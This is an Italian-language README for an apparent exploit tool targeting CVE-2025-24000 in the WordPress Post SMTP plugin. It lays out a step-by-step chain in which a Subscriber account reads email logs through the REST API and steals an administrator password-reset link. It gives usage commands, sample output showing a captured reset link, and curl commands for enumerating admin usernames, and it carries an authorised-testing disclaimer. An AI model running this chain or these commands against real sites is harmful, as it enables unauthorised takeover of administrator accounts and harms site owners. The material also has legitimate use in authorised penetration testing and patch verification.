CVE-2025-24000 — Exploit di Escalation dei Privilegi Post SMTP

Panoramica

Questo script sfrutta CVE-2025-24000, una vulnerabilità di controllo degli accessi di gravità alta nel plugin Post SMTP per WordPress (versioni ≤ 3.2.0). Consente a qualsiasi utente autenticato con un account a bassi privilegi (es. Subscriber) di accedere ai log email dell'API REST del plugin, rubare un link di reimpostazione della password dell'amministratore e prendere il controllo dell'account amministratore.

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• Versioni affette: ≤ 3.2.0
• Corretto in: 3.3.0
• Punteggio CVSS: 8.8 (Alto)
• Impatto: Escalation dei Privilegi → Pieno Controllo dell'Account Amministratore

Come Funziona

La vulnerabilità deriva da un controllo dei permessi difettoso nell'API REST del plugin:

// Codice vulnerabile (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

Qualsiasi utente collegato, indipendentemente dal ruolo, può accedere agli endpoint pensati solo per gli amministratori:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

Catena di Sfruttamento

1. Registra o utilizza un account WordPress esistente a bassi privilegi (Subscriber)
2. Accedi e ottieni un nonce REST WP da /wp-admin/
3. Attiva una reimpostazione della password per l'account amministratore
4. Leggi i log email tramite l'API REST non protetta
5. Estrai il link di reimpostazione della password dal log
6. Utilizza il link di reimpostazione per impostare una nuova password admin
7. Accedi a /wp-admin come amministratore

Requisiti

• Python 3.x
• Libreria requests (pip install requests)
• Un account registrato sul sito WordPress di destinazione (livello Subscriber è sufficiente)

Utilizzo

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <tuo_username_subscriber> \
  --password <tua_password_subscriber> \
  --email <nome_utente_o_email_admin>

Argomenti

Esempio

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

Output Atteso

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

Consigli

• Se il nome utente dell'admin è sconosciuto, enumerarlo tramite l'API REST di WP:
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  Oppure tramite enumerazione degli autori:
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• Il link di reimpostazione è monouso e scade — usalo immediatamente dopo l'estrazione
• Se i log sono vuoti, assicurati che il sito sia configurato per inviare email tramite Post SMTP (non PHP mail)

Riferimenti

• Avviso Patchstack: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• Avviso GitHub: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• Walkthrough di Riproduzione: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

Disclaimer

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. Non utilizzarlo contro sistemi per i quali non hai il permesso esplicito di eseguire test.